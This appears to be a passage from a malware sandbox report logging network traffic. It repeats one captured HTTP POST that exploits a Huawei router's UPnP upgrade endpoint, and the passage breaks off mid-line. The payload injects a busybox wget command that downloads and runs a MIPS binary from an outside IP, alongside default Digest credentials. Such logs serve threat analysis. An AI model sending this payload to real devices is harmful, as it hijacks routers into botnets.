Source: global traffic	TCP traffic: 192.168.2.23:3641 -> 197.26.203.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:3641 -> 107.234.139.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:3641 -> 160.141.223.128:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 